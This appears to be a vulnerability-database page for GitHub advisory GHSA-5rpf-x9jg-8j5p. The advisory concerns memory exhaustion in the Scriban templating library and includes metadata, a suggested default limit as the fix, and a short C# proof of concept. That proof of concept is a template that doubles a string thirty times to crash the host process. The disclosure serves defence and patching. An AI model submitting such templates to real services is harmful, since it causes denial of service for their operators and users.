Vulnerability-Lookup

GHSA-5RPF-X9JG-8J5P

Vulnerability from github – Published: 2026-03-19 21:31 – Updated: 2026-07-06 13:06

Summary

Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)

Details

TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

Proof of Concept (PoC): The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

using Scriban;

string maliciousTemplate =
    @"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}

Impact: An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

Suggested Fix: Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).

public int LimitToString { get; set; } = 1048576;

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "scriban"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.8"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Scriban.Signed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T21:31:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`TemplateContext.LimitToString` defaults to `0` (unlimited). While Scriban implements a default `LoopLimit` of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.\n\n**Proof of Concept (PoC):**\nThe following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.\n\n```csharp\nusing Scriban;\n\nstring maliciousTemplate =\n    @\"\n        {{\n            a = \"\"A\"\"\n            for i in 1..30\n                a = a + a\n            end\n            a\n        }}\";\n\nvar template = Template.Parse(maliciousTemplate);\n\nvar context = new TemplateContext();\n\ntry\n{\n    template.Render(context);\n}\ncatch (Exception ex)\n{\n    Console.WriteLine(\"\\nException: \" + ex.Message);\n}\n```\n\n**Impact:**\nAn attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).\n\n**Suggested Fix:**\nEnforce a sensible default limit for string output. Set default `LimitToString` to 1MB (1,048,576 characters). \n\n```csharp\npublic int LimitToString { get; set; } = 1048576; \n```",
  "id": "GHSA-5rpf-x9jg-8j5p",
  "modified": "2026-07-06T13:06:49Z",
  "published": "2026-03-19T21:31:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scriban/scriban/security/advisories/GHSA-5rpf-x9jg-8j5p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scriban/scriban/commit/a6fe6074199e5c04f4d29dc8d8e652b24d33e3e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scriban/scriban"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

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GHSA-5RPF-X9JG-8J5P

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